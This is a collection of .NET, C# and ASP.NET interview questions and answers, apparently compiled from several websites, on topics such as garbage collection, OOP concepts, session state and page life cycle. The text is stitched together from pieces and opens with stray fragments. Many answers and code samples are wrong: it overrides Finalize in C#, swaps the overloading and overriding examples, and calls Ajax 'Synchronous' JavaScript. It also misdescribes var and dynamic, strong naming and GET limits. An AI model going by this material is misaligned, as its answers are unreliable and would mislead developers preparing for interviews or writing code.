
Note: ServiceName is a placeholder for the name of the service that you want to debug.
Note: Few of the references are taken from other sites/sources

Conclusion

Now we have a many question at one single place and we can brush-up anytime when we need to.

Note: Some Contents are copied from various Interview Websites.

What is the significance of the Finalize method in .NET?

The .NET Garbage Collector does nearly all the clean up activity for your objects. But unmanaged
resources (for example: Windows API created objects, File, Database connection objects, COM objects and
so on) are outside the scope of the .NET Framework that we need to explicitly clean our resources. For
these types of objects, the .NET Framework provides the "Object.Finalize" method, which can be
overridden and to clean up the code for unmanaged resources. Can it be put in this section?

Why is it preferred to use it instaed of Finalize for clean up?

The problem with Finalize is that garbage collection must make two rounds to remove objects that have
Finalize methods.

The figure below will make things clearer regarding the two rounds of garbage collection rounds for the
objects having finalized methods.



Figure 1

In this scenario there are three objects, Object1, Object2 and Object3. Object2 has the Finalize method
overridden and the remaining objects do not have the Finalize method overridden.

Now when the Garbage Collector runs for the first time it searches for objects whose memory must be
freed. He can see three objects but only cleans the memory for Object1 and Object3. Object2 is pushed to
the finalization queue.

Now the Garbage Collector runs for the second time. It sees that there are no objects to be released and
then checks for the finalization queue and at this moment, it clears object2 from the memory.

So if you notice that object2 was released from memory in the second round and not the first. That is why
the best practice is to not write clean up of unmanaged resources in the Finalize method but instead
use Dispose.

What is the use of the Dispose method?

The Dispose method belongs to the "IDisposable" interface. We had seen in the previous section how bad
it can be to override the Finalize method to do the cleanup of unmanaged resources. So if any object
wants to release its unmanaged code then it is best to implement IDisposable and override the Dispose
method of the IDisposable interface. Now once your class has exposed the Dispose method it is the
responsibility of the client to call the Dispose method to do the cleanup.

How do I force the Dispose method to be called automatically, as clients can forget to call the
Dispose method?

Call the Dispose method in the Finalize method and in the Dispose method to suppress the Finalize
method from using "GC.SuppressFinalize". The following is the sample code of the pattern. This is the best
way to clean our unallocated resources, and yes do not forget, we do not get the hit of running the
Garbage Collector twice.
public class CleanClass : IDisposable
{
public void Dispose()
{
GC.SuppressFinalize(this);
}
protected override void Finalize()
{
Dispose();
}
}

What is an interface and what is an abstract class? Please, expand by examples of
using both. Explain why?

Answer 1

In an interface class, all methods are abstract without implementation whereas in an abstract class some
methods can be defined concrete. In an interface, no accessibility modifiers are allowed. An abstract class
may have accessibility modifiers. Interface and abstract classes are basically a set of rules that you need to
follow in case you are using them (inheriting them).

Answer 2

Abstract classes are closely related to interfaces. They are classes that cannot be instantiated, and are
frequently either partially implemented, or not at all implemented. One key difference between abstract
classes and interfaces is that a class may implement an unlimited number of interfaces, but may inherit
from only one abstract (or any other kind of) class. A class that is derived from an abstract class may still
implement interfaces. Abstract classes are useful when creating components because they allow you to
specify an invariant level of functionality in some methods, but leave the implementation of other
methods until a specific implementation of that class is needed. They also version well, because if
additional functionality is needed in derived classes then it can be added to the base class without
breaking code.

Answer 3

Abstract Classes

An abstract class is a class not used to create objects. An abstract class is designed to act as a base class
(to be inherited by other classes). An abstract class is a design concept in program development and
provides a base upon which other classes are built. Abstract classes are similar to interfaces. After
declaring an abstract class, it cannot be instantiated on it's own, it must be inherited. Like interfaces,
abstract classes can specify members that must be implemented in inheriting classes. Unlike interfaces, a
class can inherit only one abstract class. Abstract classes can only specify members that should be
implemented by all inheriting classes.

Answer 4

An interface looks like a class, but has no implementation. They're great for putting together plug-n-play
like architectures where components can be interchanged at will. Think Firefox Plug-in extension
implementation. If you need to change your design then make it an interface. However, you may have
abstract classes that provide some default behavior. Abstract classes are excellent candidates inside of
application frameworks.

Answer 5

One additional key difference between interfaces and abstract classes (possibly the most important one) is
that multiple interfaces can be implemented by a class, but only one abstract class can be inherited by any
single class.

Some background on this: C++ supports multiple inheritance, but C# does not. Multiple inheritance in
C++ has always been controversial, because the resolution of multiple inherited implementations of the
same method from various base classes is hard to control and anticipate. C# decided to avoid this
problem by allowing a class to implement multiple interfaces, that do not contain method
implementations, but restricting a class to have at most a single parent class. Although this can result in
redundant implementations of the same method when different classes implement the same interface, it
is still an excellent compromise.

Another difference between interfaces and abstract classes is that an interface can be implemented by an
abstract class, but no class, abstract or otherwise, can be inherited by an interface.

Answer 6

What is an abstract class?

An abstract class is a special kind of class that cannot be instantiated. So the question is, why do we need
a class that cannot be instantiated? An abstract class is only to be sub-classed (inherited from). In other
words, it only allows other classes to inherit from it but cannot be instantiated. The advantage is that it
enforces certain hierarchies for all the subclasses. In simple words, it is a kind of contract that forces all the
subclasses to carry on the same hierarchies or standards.

What is an interface?

An interface is not a class. It is an entity that is defined by the word interface. An interface has no
implementation; it only has a signature, or in other words, just the definition of the methods without the
body. As one of the similarities to an abstract class, it is a contract used to define hierarchies for all
subclasses or it defines a specific set of methods and their arguments. The main difference between them
is that a class can implement more than one interface but can only inherit from one abstract class. Since
C# doesn't support multiple inheritance, interfaces are used to implement multiple inheritance.

How does output caching work in ASP.NET?

Output caching is a powerful technique that increases request/response throughput by caching the
content generated from dynamic pages. Output caching is enabled by default, but output from any given
response is not cached unless an explicit action is taken to make the response cacheable.

To make a response eligible for output caching, it must have a valid expiration/validation policy and
public cache visibility. This can be done using either the low-level OutputCache API or the high-level @
OutputCache directive. When output caching is enabled, an output cache entry is created on the first GET
request to the page. Subsequent GET or HEAD requests are served from the output cache entry until the
cached request expires.

The output cache also supports variations of cached GET or POST name/value pairs.

The output cache respects the expiration and validation policies for pages. If a page is in the output cache
and has been marked with an expiration policy that indicates that the page expires 60 minutes from the
time it is cached then the page is removed from the output cache after 60 minutes. If another request is
received after that time, the page code is executed and the page can be cached again. This type of
expiration policy is called absolute expiration; a page is valid until a certain time.

What is connection pooling and how do you make your application use it?

Opening a database connection is a time-consuming operation.

Connection pooling increases the performance of the applications by reusing the active database
connections instead of creating a new connection for every request.

Connection pooling behaviour is controlled by the connection string parameters.

The following 4 parameters control most of the connection pooling behavior.
1. Connect Timeout
2. Max Pool Size
3. Min Pool Size
4. Pooling
What are various methods of session maintenance in ASP.NET?

The 3 types are:
1. In-process storage.
2. Session State Service.
3. Microsoft SQL Server.
In-Process Storage

The default location for session state storage is in the ASP.NET process itself.

Session State Service

As an alternative to using in-process storage for session state, ASP.NET provides the ASP.NET State
Service. The State Service gives you an out-of-process alternative for storing session state that is not tied
quite so closely to ASP. Net's own process.

To use the State Service, you need to edit the sessionState element in your ASP.NET application's
web.config file.

You'll also need to start the ASP.NET State Service on the computer that you specified in the
stateConnectionString attribute. The .NET Framework installs this service, but by default it's set to manual
startup. If you're going to depend on it for storing session state, you'll want to change that to automatic
startup by using the Services MMC plug-in in the Administrative Tools group.

If you make these changes and then repeat the previous set of steps then you'll see slightly different
behavior: session state persists even if you recycle the ASP.NET process.

There are two main advantages to using the State Service. First, it is not running in the same process as
ASP.NET, so a crash of ASP.NET will not destroy session information. Second, the stateConnectionString
that's used to locate the State Service includes the TCP/IP address of the service, that need not be running
on the same computer as ASP.NET. This allows you to share state information across a web garden
(multiple processors on the same computer) or even across a web farm (multiple servers running the
application). With the default in-process storage, you can't share state information among multiple
instances of your application.

The major disadvantage of using the State Service is that it's an external process, rather than part of
ASP.NET. That means that reading and writing session state is slower than it would be if you kept the state
in-process. And, of course, it's one more process that you need to manage. As an example of the extra
effort that this can entail, there is a bug in the initial release of the State Service that allows a determined
attacker to crash the ASP.NET process remotely. If you're using the State Service to store session state
then you should install the patch from Microsoft Security Bulletin MS02-66, or install SP2 for the .NET
Framework.

Microsoft SQL Server

The final choice for storing state information is to save it in a Microsoft SQL Server database. To use SQL
Server for storing session state, you need to perform several setup steps.

Run the InstallSqlState.sql script on the Microsoft SQL Server where you intend to store session state. This
script will create the necessary database and database objects. The .NET Framework installs this script in
the same folder as its compilers and other tools,for example,
"C:\WINNT\Microsoft.NET\Framework\v1.0.3705" on a Windows 2000 computer with the 1.0 version of
the Framework. Edit the sessionState element in the web.config file for your ASP.NET application as
follows.

Supply the server name, user name, and password for a SQL Server account that has access to the session
state database in the sqlConnectionString attribute.

Like the State Service, SQL Server lets you share session state among the processors in a web garden or
the servers in a web farm. But you also get the additional benefit of persistent storage. Even if the
computer hosting SQL Server crashes and is restarted, the session state information will still be present in
the database, and will be available as soon as the database is running again. That's because SQL Server,
being an industrial-strength database, is designed to log its operations and protect your data at (almost)
all costs. If you're willing to invest in SQL Server clustering then you can keep the session state data
available transparently to ASP.NET even if the primary SQL Server computer crashes.

Like the State Service, SQL Server is slower than keeping session state in process. You also need to pay
additional licensing fees to use SQL Server for session state in a production application. And, of course,
you need to worry about SQL Server-specific threats such as the "Slammer" worm.

What does the "EnableViewState" property do? Why would I want it on or off?

Enable ViewState turns on the automatic state management feature that enables server controls to re-
populate their values on a round trip without requiring you to write any code. This feature is not free
however, since the state of a control is passed to and from the server in a hidden form field. You should
be aware of when ViewState is helping you and when it is not. For example, if you are binding a control to
data on every round trip (as in the datagrid example in tip #4), then you do not need the control to
maintain it's view state, since you will wipe out any re-populated data in any case. ViewState is enabled for
all server controls by default. To disable it, set the EnableViewState property of the control to false.

What is the difference between Server.Transfer and Response.Redirect?

Why would I choose one over the other? Server.Transfer() : client is shown as it is on the requesting page
only, but all the content is of the requested page. Data can be persisted across the pages using a
Context.Item collection, which is one of the best ways to transfer data from one page to another keeping
the page state alive. Response.Dedirect() :client knows the physical location (page name and query string
as well). Context.Items looses the persistence when navigating to a destination page. In earlier versions of
IIS, if we wanted to send a user to a new web page, the only option we had was Response.Redirect. While
this method does accomplish our goal, it has several important drawbacks. The biggest problem is that
this method causes each page to be treated as a separate transaction. Besides making it difficult to
maintain your transactional integrity, Response.Redirect introduces some additional headaches. First, it
prevents good encapsulation of code. Second, you lose access to all of the properties in the Request
object. Sure, there are workarounds, but they're difficult. Finally, Response.Redirect necessitates a round
trip to the client, which, on high-volume sites, causes scalability problems. As you might suspect,
Server.Transfer fixes all of these problems. It does this by performing the transfer on the server without
requiring a roundtrip to the client.

Polymorphism, Method hiding and overriding

One of the fundamental concepts of object oriented software development is polymorphism. The term
polymorphism (from the Greek meaning "having multiple forms") in OOP is the characteristic of being
able to assign a different meaning or usage to something in different contexts; specifically, to allow a
variable to refer to more than one type of an object.

Example Class Hierarchy

Let's assume the following simple class hierarchy with classes A, B and C for the discussions in this text. A
is the super-class or base class, B is derived from A and C is derived from class B. In some of the easier
examples, we will only refer to a part of this class hierarchy.



Figure 2

Inherited Methods

A method Foo() that is declared in the base class A and not redeclared in classes B or C is inherited in the
two subclasses.
using System;
namespace Polymorphism
{
class A
{
public void Foo() { Console.WriteLine("A::Foo()"); }
}

class B : A {}

class Test
{
static void Main(string[] args)
{
A a = new A();
a.Foo(); // output --> "A::Foo()"

B b = new B();
b.Foo(); // output --> "A::Foo()"
}
}
}

There are two problems with this code as in the following:
The output is not really what we, say from Java, expected. The method Foo() is a non-virtual
method. C# requires the use of the keyword virtual for a method to actually be virtual. An
example using virtual methods and polymorphism will be given in the next section.
Although the code compiles and runs, the compiler produces a warning:

...\polymorphism.cs(11,15): warning CS0108: The keyword new is required on
'Polymorphism.B.Foo()' because it hides inherited member 'Polymorphism.A.Foo()'
This issue will be discussed in section Hiding and Overriding Methods.

Virtual and Overridden Methods

Only if a method is declared virtual, derived classes can override this method if they are explicitly declared
to override the virtual base class method with the override keyword.
using System;
namespace Polymorphism

class A
{
public virtual void Foo() { Console.WriteLine("A::Foo()"); }
}

class B : A
{
public override void Foo() { Console.WriteLine("B::Foo()"); }
}

class Test
{
static void Main(string[] args)
{
A a;
B b;

a = new A();
b = new B();
a.Foo(); // output --> "A::Foo()"
b.Foo(); // output --> "B::Foo()"

a = new B();
a.Foo(); // output --> "B::Foo()"
}
}
}

Method Hiding

Why did the compiler in the second listing generate a warning? Because C# not only supports method
overriding, but also method hiding. Simply put, if a method is not overriding the derived method, it is
hiding it. A hiding method must be declared using the new keyword. The correct class definition in the
second listing is thus:
using System;
namespace Polymorphism
{
class A
{
public void Foo() { Console.WriteLine("A::Foo()"); }
}

class B : A
{
public new void Foo() { Console.WriteLine("B::Foo()"); }
}

class Test
{
static void Main(string[] args)
{
A a;
B b;

a = new A();
b = new B();
a.Foo(); // output --> "A::Foo()"
b.Foo(); // output --> "B::Foo()"

a = new B();
a.Foo(); // output --> "A::Foo()"
}
}
}

Combining Method Overriding and Hiding

Methods of a derived class can both be virtual and at the same time hide the derived method. In order to
declare such a method, both keywords virtual and new must be used in the method declaration:
class A
{
public void Foo() {}
}

class B : A
{
public virtual new void Foo() {}
}

A class C can now declare a method Foo() that either overrides or hides Foo() from class B:
class C : B
{
public override void Foo() {}
// or
public new void Foo() {}
}

Conclusion
C# is not Java.
Only methods in base classes need not override or hide derived methods. All methods in derived
classes require to be either defined as new or as overriden.
Know what your doing and look out for compiler warnings.
For more informative articles, visit my blog A Practical Approach .
Introduction to Object Oriented Programming
Concepts in C#
Introduction to Object Oriented Programming (OOP) concepts in C#: Abstraction, Encapsulation,
Inheritance and Polymorphism.
OOP Features

Object Oriented Programming (OOP) is a programming model where programs are organized around
objects and data rather than action and logic.

OOP allows decomposition of a problem into a number of entities called objects and then builds data and
functions around these objects.
1. The software is divided into a number of small units called objects. The data and functions are
built around these objects.
2. The data of the objects can be accessed only by the functions associated with that object.
3. The functions of one object can access the functions of another object.
OOP has the following important features.

Class
A class is the core of any modern Object Oriented Programming language such as C#.
In OOP languages it is mandatory to create a class for representing data.
A class is a blueprint of an object that contains variables for storing data and functions to perform
operations on the data.
A class will not occupy any memory space and hence it is only a logical representation of data.
To create a class, you simply use the keyword "class" followed by the class name:
class Employee
{

}

Object

Objects are the basic run-time entities of an object oriented system. They may represent a person, a place
or any item that the program must handle.

"An object is a software bundle of related variable and methods."

"An object is an instance of a class"

A class will not occupy any memory space. Hence to work with the data represented by the class you must
create a variable for the class, that is called an object.
When an object is created using the new operator, memory is allocated for the class in the heap, the
object is called an instance and its starting address will be stored in the object in stack memory.
When an object is created without the new operator, memory will not be allocated in the heap, in other
words an instance will not be created and the object in the stack contains the value null.
When an object contains null, then it is not possible to access the members of the class using that object.

class Employee
{

}
Syntax to create an object of class Employee:

Employee objEmp = new Employee();

All the programming languages supporting Object Oriented Programming will be supporting these three
main concepts:
1. Encapsulation
2. Inheritance
3. Polymorphism
Abstraction
Abstraction is "To represent the essential feature without representing the background details."

Abstraction lets you focus on what the object does instead of how it does it.

Abstraction provides you a generalized view of your classes or objects by providing relevant information.

Abstraction is the process of hiding the working style of an object, and showing the information of an
object in an understandable manner.

Real-world Example of Abstraction
Suppose you have an object Mobile Phone.

Suppose you have 3 mobile phones as in the following:

Nokia 1400 (Features: Calling, SMS)
Nokia 2700 (Features: Calling, SMS, FM Radio, MP3, Camera)
Black Berry (Features:Calling, SMS, FM Radio, MP3, Camera, Video Recording, Reading E-mails)

Abstract information (necessary and common information) for the object "Mobile Phone" is that it makes
a call to any number and can send SMS.

So that, for a mobile phone object you will have the abstract class as in the following:
abstract class MobilePhone
{
public void Calling();
public void SendSMS();
}

public class Nokia1400 : MobilePhone
{
}

public class Nokia2700 : MobilePhone
{
public void FMRadio();
public void MP3();
public void Camera();
}

public class BlackBerry : MobilePhone
{
public void FMRadio();
public void MP3();
public void Camera();
public void Recording();
public void ReadAndSendEmails();
}

Abstraction means putting all the variables and methods in a class that are necessary.
For example: Abstract class and abstract method.
Abstraction is a common thing.
Example
If somebody in your collage tells you to fill in an application form, you will provide your details, like name,
address, date of birth, which semester, percentage you have etcetera.
If some doctor gives you an application to fill in the details, you will provide the details, like name,
address, date of birth, blood group, height and weight.
See in the preceding example what is in common?
Age, name and address, so you can create a class that consists of the common data. That is called an
abstract class.
That class is not complete and it can be inherited by other classes.

Encapsulation
Wrapping up a data member and a method together into a single unit (in other words class) is called
Encapsulation.

Encapsulation is like enclosing in a capsule. That is enclosing the related operations and data related to an
object into that object.

Encapsulation is like your bag in which you can keep your pen, book etcetera. It means this is the property
of encapsulating members and functions.

class Bag
{
book;
pen;
ReadBook();
}

Encapsulation means hiding the internal details of an object, in other words how an object does
something.

Encapsulation prevents clients from seeing its inside view, where the behaviour of the abstraction is
implemented.

Encapsulation is a technique used to protect the information in an object from another object.

Hide the data for security such as making the variables private, and expose the property to access the
private data that will be public.
So, when you access the property you can validate the data and set it.

Example 1
class Demo
{
private int _mark;

public int Mark
{
get { return _mark; }
set { if (_mark > 0) _mark = value; else _mark = 0; }
}
}

Real-world Example of Encapsulation
Let's use as an example Mobile Phones and Mobile Phone Manufacturers.
Suppose you are a Mobile Phone Manufacturer and you have designed and developed a Mobile Phone
design (a class). Now by using machinery you are manufacturing Mobile Phones (objects) for selling, when
you sell your Mobile Phone the user only learns how to use the Mobile Phone but not how the Mobile
Phone works.

This means that you are creating the class with functions and by with objects (capsules) of which you are
making available the functionality of your class by that object and without the interference in the original
class.

Example 2
TV operation
It is encapsulated with a cover and we can operate it with a remote and there is no need to open the
TV to change the channel.
Here everything is private except the remote, so that anyone can access the remote to operate and
change the things in the TV.

Inheritance
When a class includes a property of another class it is known as inheritance.
Inheritance is a process of object reusability.
For example, a child includes the properties of its parents.
public class ParentClass
{
public ParentClass()
{
Console.WriteLine("Parent Constructor.");
}

public void print()
{
Console.WriteLine("I'm a Parent Class.");
}
}

public class ChildClass : ParentClass
{
public ChildClass()
{
Console.WriteLine("Child Constructor.");
}

public static void Main()
{
ChildClass child = new ChildClass();

child.print();
}
}

Output
Parent Constructor.
Child Constructor.
I'm a Parent Class.

Polymorphism
Polymorphism means one name, many forms.
One function behaves in different forms.
In other words, "Many forms of a single object is called Polymorphism."

Real-world Example of Polymorphism
Example 1
A teacher behaves students.
A teacher behaves his/her seniors.
Here teacher is an object but the attitude is different in different situations.
Example 2
A person behaves the son in a house at the same time that the person behaves an employee in an office.
Example 3
Your mobile phone, one name but many forms:
As phone
As camera
As mp3 player
As radio
To read about Polmorphism in detail click the following link:

Polymorphism in .Net

The Differences between Abstraction and Encapsulation
Abstraction Encapsulation
1. Abstraction solves the
problem at the design level.
1. Encapsulation solves the problem in the
implementation level.
2. Abstraction hides unwanted
data and provides relevant data.
2. Encapsulation means hiding the code and data
into a single unit to protect the data from the
outside world.
3. Abstraction lets you focus on
what the object does instead of
how it does it
3. Encapsulation means hiding the internal
details or mechanics of how an object does
something.
4. Abstraction: Outer layout, used
in terms of design.
For example:
An external of a Mobile Phone, like
it has a display screen and keypad
buttons to dial a number.

4. Encapsulation- Inner layout, used in terms of
implementation.
For example: the internal details of a Mobile
Phone, how the keypad button and display
screen are connected with each other using
circuits.

The easier way to understand abstraction and encapsulation is as follows.
Real-world Example
Use an example of a Mobile Phone
You have a Mobile Phone, you can dial a number using keypad buttons. You don't even know how these
are working internally. This is called Abstraction. You only have the information that is necessary to dial a
number. But not internal working of the mobile.

But how does the Mobile Phone work internally? How are the keypad buttons connected with internal
circuit? That is called Encapsulation.
Summary
"Encapsulation is accomplished using classes. Keeping data and methods that access that data into a
single unit."
"Abstraction is accomplished using an Interface. Just giving the abstract information about what it can do
without specifying the details."
"Information/Data hiding is accomplished using modifiers by keeping the instance variables private or
protected."
Below I am posting the questions and answers for the short questions for 3-6 years
guys. These questions will be helpful for those who are preparing for the interview
or attending the interviews. This will be helpful for the last minute preparation in
quickest way.
If anyone has better answer, please reply to this post as that will be useful for all of
us.

CLR and C#

1. Types of Authentication and Authorization in IIS.
A. Types of Authentication: Anonymous Authentication, Windows Authentication,
Digest Authentication
Types of Authorization:- Anonymous

2. Types of Authentication and Authorization in ASP.Net.
A. Types of Authentication: Windows Authentication, Forms Authentication
Types of Authorization:- File Authorization and URL Authorization

3. ASP.Net Life cycle.
A. The request starts with the client and processed through IIS. In IIS, there are 2
utilities- INetInfo.exe and ASPNet_ISAPI.dll the InetInfo.exe checks for the syntax
and semantics of the request and then the request goes to the ASPNet_ISAPI.dll
which is the filter to filter the .aspx files. Here the URL request split in to 2 parts-
virtual directory and webpage. Now worker process which is nothing but the
application factory basically contains all the virtual directories and checks for the
current virtual directory. If this is first request, then there will be no Virtual
directory available. Now the worker process (W3wp.exe) creates a memory area
called as AppDomain to check for the current page. As AppDomain is the Page
Handler factory so it contains all the processes pages. If this is the new page then it
will not find here. The request further move to the HttpPipeline where the actual
execution of the page happened by using the ProcessRequest method and creates
the events of the page. After creation of event and execution of all the event, the
HTML page gets back to the user.

4. ASP.Net Page Life Cycle.
A. There are few events which gets generated during the page execution like:
Page_BeginRequest, Page_Init, Page_Load, Page_Prerender, Page_Render,
Page_Unload etc
For the details of the page life cycle, you can follow the previous question.

5. What are types: Value Type and Reference Type?
A. Value type holds data directly, Value type stored in the stack memory, we can
get the direct value of the value types. Value type data type cant be null.
Reference types: This type doesnt hold the data directly. They hold the address on
which the actual data present. They stored in heap memory, Can have default
values.
We can make and work with null reference type.

6. Boxing and Unboxing: Terminology, Advantages and Disadvantages.
A. Converting the value type data type in to the Reference type is called as Boxing.
Converting the Reference type data type and keep its value to stack is called as the
reference type.
byte b= 45;
Object o = b.Tostring();
The Advantage of boxing and unboxing is that we can convert the type of the object
in to another type. The disadvantage is that it requires lot of memory and CPU
cycles to convert from one type to another type.
Object o=10;
Int i= Convert.ToInt32(o.ToString());

7. What is Type Safety?
A. TypeSafe is a way through which the application or framework that the memory
will not be leaked to outside environment. E.g. C# is the type safe language where
you must have to assign any object before using it. In VB.Net it will take the default
value. So C# is the type safe language while VB.Net is not.

8. What is Strong Name?
A. Strong Name (SN) is used to make the dll as the unique as:
SN -k fileName.dll
Now it will have the unique name. This assembly when placed in the GAC, it will
treat as the unique with its version number and other details. 2 assemblies with the
same name can exist in the GAC but both will have different version. The CLR takes
the latest version assembly while running the application.

9. What are Extensions, modules and handlers?
A. HttpModule and HttpHandler are the utilities which are used in the HttpPipeline
under the ASP.Net page life cycle. When the request received to HttpPipeline, the
HttpModule checks for the Authentication of the request and then it route the
request to the respective handler. After that HttpHandler takes that request and
process it. After Processing the request again the HttpModule takes the response
and send it back to the worker process and finally to the user.

10. What is worker process?
A. Worker process (w3wp.exe) is an executable which is also called as the
Application Factory. This is used for the execution of the request and handling of
the request for the current web page.

11. CLR and DLR?
A. CLR (Common Language Runtime) is the utility in the .Net framework to run the
application. It is the run-time engine which actually executes the application with
many responsibilities like taking care of memory management, versioning, CasPol
etc.
DLR is new with .Net 4.0 which is the Dynamic Language Runtime and used to run
the application on the fly wherever required. CLR runs as statically while DLR runs
dynamically.

12. In case more than one version of an installable is installed, which version is
invoked by default?
A. By default the CLR will take and invoke the latest version of the dll and execute
it accordingly. There could be the same name assemblies exists in the GAC but they
will have different versions altogether for their uniqueness.
So while running the application, CLR takes the latest version assembly and use in
the application.

13. What are Globalization and localization? How to implement them?
A. Globalization is the concept of developing the application in more than one
language while the Localization is used for a particular language. Like if we develop
the application in more than one language we need to create the resource files
(.resx) by using System. Globalization and when we open the application in a
particular language, then the localizations used to convert that application to the
selected language.

14. What is assembly, GAC? Where they are physically located?
A. Assembly is the collection of classes, namespaces, methods, properties which
may be developed in different language but packed as a dll. So we can say that dll
is the assembly.
There are 3 types of assemblies- Private Assembly, Shared Assembly, and Satellite
Assembly.
GAC (Global Assembly Cache)- When the assembly is required for more than one
project or application, we need to make the assembly with strong name and keep it
in GAC or in Assembly folder by installing the assembly with the GACUtil command.
To make the assembly with strong name:
SN -k MyDll.dll
And to install it in GAC:
GacUtil -i MyDll.dll
GAC assemblies are physically stored in Assembly folder in the system.

15. How to configure HTTPS for a web application?
A. To configure the HTTPS (HTTP with Secure) for the web application, we need to
have a client certificate. We can purchase the client certificate from the trusted
providers and then we need to install that provider for our site. By implementing
the HTTPS, all the data which is passing will be in encrypted format and will be
more secure.

16. What are in-proc and out-proc? Where are data stored in these cases?
A. In-Proc and Out-Proc is the types of Sessions where the session data can be
stored in the process memory of the server and in the separate state server.
When the session data is stored in the process memory of the server, the session is
called as the In-Proc server. In this case when the server is restarted, the session
data will be lost.
When the session data is stored in the separate server like in state server or in Sql
Server, the type of session is called as the Out-Proc session. In this case, if the
server where the application is running is restarted, the session will be still remain
in the separate servers.
So in the in-Proc session state, the session data is stored in the Process memory of
the Server where the application is running.
In the Out-proc session state, the session data is stored in the separate server-
may be state server or in sql server.

17. When the View state is saved, and when is it loaded? How to enable/ disable
View states?
A. View State data is stored in the current page in base64 encoded format. It gets
loaded with the page and displays the values to the controls after the decoded.
Internally it actually saves the check-sum of all the control data where the view
state is enabled.so that when the page gets loaded due to any post back, it again
finds the check-sum and then decodes the Base64 encoded string and gets back
the same data to the controls. We can see the view state base 64 encoded string in
View Source of the page. It will be
like _VIEWETATE="DSDSDF8DGDGDFGFD5FDGGDJFF23BNN457M9UJOG"this.
View state won't take the client or server memory to keep the view state data.

18. Difference between GET and POST. Which one is more secure?
A. GET and POST methods are used for the data transfer between the web pages.
GET mainly used for small data which is not secure because in case of GET method,
the data which we are passing will be visible in the url so we can't keep the secure
data which will be visible in the url. There is also limited data which can be passed
in case of GET method (max 255 character).
POST is used for transferring the huge data between the pages where we can keep
the secure data and can transfer it. In case of using the POST method, the data
which is transferring between the pages will not be visible so it is more secure than
the GET method. Also there is no limit for POST method to post the data to the next
page.
POST is more secure.

19. What are Razor engines? How is it diff from ASP Engines?
A. RAZOR engine is the new concept in the MVC 3 which is mainly used to create
the views in the MVC applications. It created the cshtml pages for the MVC
application and cshtml pages can be generated automatically by using the Razor
engine.ASP engine create the aspx pages while Razor engine creates the pages.

20. Pros and cons of JavaScript and AJAX.
A. JavaScript is a scripting language and mainly used for client side validation. We
can validate the client side data before sending to the server. So by this we can
improve the performance of the application.
Ajax is Synchronous JavaScript and XML which is used for the Asynchronous calls
from the server. It uses internally the JavaScript for making the call and use XML
for the Data Transfer. It basically uses the XmlHttpRequest for the asynchronous
calls to the server and communicates with the XML data which is platform
independent. So Ajax can be used with any technology.

21. In how many different ways can JavaScript be used/called in an application?
A. JavaScript can be used for Client Side validation, can also be used for calling of
server side methods and functions, can be used for calling the web services etc.

22. What needs to be done to call a JavaScript function from code behind?
A. If we want to call the JavaScript function from the code behind, we need to
attach the JavaScript to the events in the page_load event as:
protected void btnSave_cliekc9object sender, EventArgs e)
{
btnSave.Attributes.Add("onclick,"JavaScript: retrun Validatedata();");
}
Here ValidateData is the JavaScript function which can be used to validate the page
data and if validation fails, it will return and will not execute the server side
btnSave_click event.

23. Difference between Server Controls and User controls?
A. User controls are used for the re-usability for the controls in the application. By
using the user control, we can use the same control in the various pages. User
controls can be created by combining more than one control. To use the user
controls, first we need to register them in the web page where we want to use that
control. A separate copy is need in each page where we want to use the user
control. User controls can't be included in to the toolbox.
Server controls are those controls which can be found in the toolbox and can be
directly drag to the application like textbox, button etc. For the server control, only
1 copy of the control is needed irrespective of the number of web pages. If we want
10 text-boxes to be added in our web page, we need only 1 copy of the textbox in
the toolbox and can be dragged 10 times.

24. Difference between Var, object and Dynamic types.
A. var is the keyword introduced with .net 3.5 and used to store any kind of data
like data-set, data table, int, float, char etc. We can keep any kind of data in the
var variable.
var myVar = new String[] {"hello", "world!!"} ;
Here the myVar is the var type variable which is used to store the string array. Like
this we can store any type of data into the var.
Object is the type which is used to store the objects of any kind. These objects
need to be type caste when required.
Like object mybject = "Hello"
Here the myObject variable of object type is used to keep the string variable. Now
when we want this variable value, we need to typecast it like
string strvar= (string) myobject;
Dynamic- Its a keyword introduces with the .net 4.0 and used to keep the data
similar to the var keyword. The difference between the var and dynamic is that the
dynamic variable uses the same memory location to store the object and not
changes throughout the application.

25. Difference between Functions and methods.
A. in.Net terminology, both are same. in general, we use method in .net but in
scripting language we use function like JavaScript function.
Here the difference can be Function always returns a value which method may or
may not. It depends upon the return type of the method.

26. Difference between Abstract classes and Interface. Explain with scenario where
to implement one?
A. Collection of the Abstract (Incomplete) and Concrete (complete) methods is
called as the Abstract class. If there is at least one abstract method in a class, the
class must be abstract class.
When there is the similar behavior, we can use the abstract class.
e.g. We want to calculate the area of few component. As this is not generic to the
application. We have only few component- like Circle, Ellipse, parabola, Hyperbola,
Triangle etc.
So we can create an abstract class and implement it like below:
public abstract class MyAbstractClass
{
// some other concrete members
public abstract void Area();// abstract member
}
Now in the child class, lets say i have a circle class and want to calculate the area
of the circle:
public class Cicle: MyAbstractClass
{
public override void Area()
{
// calculate the area of the circle
}
}
In the similar fashion, we can calcite the area of other shapes.
Collection of abstract members is called as the Interface. When the behavior is not
similar, we need to use the interface. All the members of the interface
must be overrides in the child class.
e.g. Print functionality of the application can have an interface like:
interface Inf
{
void Print();
}
Now as this is the generic functionality and can be implemented in any of the page
so we have taken it as interface. Now we can implement this functionality in to any
page like:
class MyClass:Inf
{
public void print
{
// write details about the print
}
// Here we can implement any kind of print-like print to excel, xml, word all depends on the
our decision.
}

27. Different forms of Polymorphism. Differences between Abstraction and
Polymorphism.
A. Polymorphism is to use the same function in many forms. The polymorphism is
of 2 types-
a. Classical polymorphism (Overloading)
b. AdHoc polymorphism (Overriding)
When the runtime (CLR) find the behavior of class members at the runtime of the
program, it is called as the AdHoc polymorphism or Overriding.in this the method
name is same but they are implemented in the different class. We use virtual
keyword in the base class method to be overrides in the child class using the
override keyword.
e.g.
public class MyClass
{
Public int Add(int a, int b)
{
Return a+b;
}
Public int Add(int a, int b, int c)
{
Return a+b+c;
}
}
When the run-time (CLR) find the behavior of class members at the compilation of
the program, it is called as the Classical polymorphism or Overloading.in this the
method name is same but there prototypes (parameters) are different and it is
implemented in the same class.
e.g.
Public class MyBaseClass
{
Public virtual void Show(string message)
{
Console.WriteLine(Your message is : + message);
}
}
Public class MyChildClass: MyBaseClass
{
public override void Show(string message)
{
Console.WriteLine(Your new message is : + message);
}
}
Abstraction is the behavior to get the required functionality in the child class. So we
dont matter whatever is written in the base class. We only need to force the child
class to implement my required functionality.
Abstract keyword is used to get the abstraction behavior.

28. What are Delegates and Events?
A. A Delegate is an object, which points to another method in the application.
Delegate holds, name of the method, arguments of the method (if any) and the
return type of the method.
